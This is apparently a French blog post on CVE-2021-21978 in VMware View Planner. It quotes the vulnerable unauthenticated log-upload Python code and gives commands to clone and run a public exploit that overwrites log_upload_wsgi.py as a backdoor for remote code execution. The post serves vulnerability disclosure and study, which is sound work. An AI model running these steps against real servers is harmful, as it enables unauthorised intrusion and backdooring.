
Script d'exploitation avec écho de sortie
Version avec retour d'affichage du script d'exploitation, plus simple
L'interface d'administration Web de VMware View Planner comporte un point d'entrée pour le téléchargement de fichiers de fonctionnalités de logs, sans authentification et le chemin du fichier journal écrit est contrôlable par l'utilisateur. En écrasant le fichier de fonctionnalités de téléchargement de logs
log_upload_wsgi.py, il est possible d'obtenir une exécution de code à distance (RCE).
Code vulnérable :
def application(environ, start_response):
logger.debug("application called")
if environ['REQUEST_METHOD'] == 'POST':
post = cgi.FieldStorage(
fp=environ['wsgi.input'],
environ=environ,
keep_blank_values=True
)
# TO DO: Puth path in some config or read from config is already available
resultBasePath = "/etc/httpd/html/vpresults"
try:
filedata = post["logfile"]
metaData = post["logMetaData"]
if metaData.value:
logFileJson = LogFileJson.from_json(metaData.value)
if not os.path.exists(os.path.join(resultBasePath, logFileJson.itrLogPath)):
os.makedirs(os.path.join(resultBasePath, logFileJson.itrLogPath))
if filedata.file:
if (logFileJson.logFileType == agentlogFileType.WORKLOAD_ZIP_LOG):
filePath = os.path.join(resultBasePath, logFileJson.itrLogPath, WORKLOAD_LOG_ZIP_ARCHIVE_FILE_NAME.format(str(logFileJson.workloadID)))
else:
filePath = os.path.join(resultBasePath, logFileJson.itrLogPath, logFileJson.logFileType)
with open(filePath, 'wb') as output_file:
while True:
data = filedata.file.read(1024)
# End of file
if not data:
break
output_file.write(data)
pip install requests
git clone https://github.com/skytina/CVE-2021-21978
cd CVE-2021-21978
python3 CVE-2021-21978.py https://192.168.80.3/

Le script d'exploitation réécrit log_upload_wsgi.py pour en faire une porte dérobée.

Source de l'exploit : https://twitter.com/osama_hroot/status/1367258907601698816
Annonce officielle VMware : https://www.vmware.com/security/advisories/VMSA-2021-0003.html
Si le contenu ci-dessus vous a été utile, vous pouvez suivre le compte public.
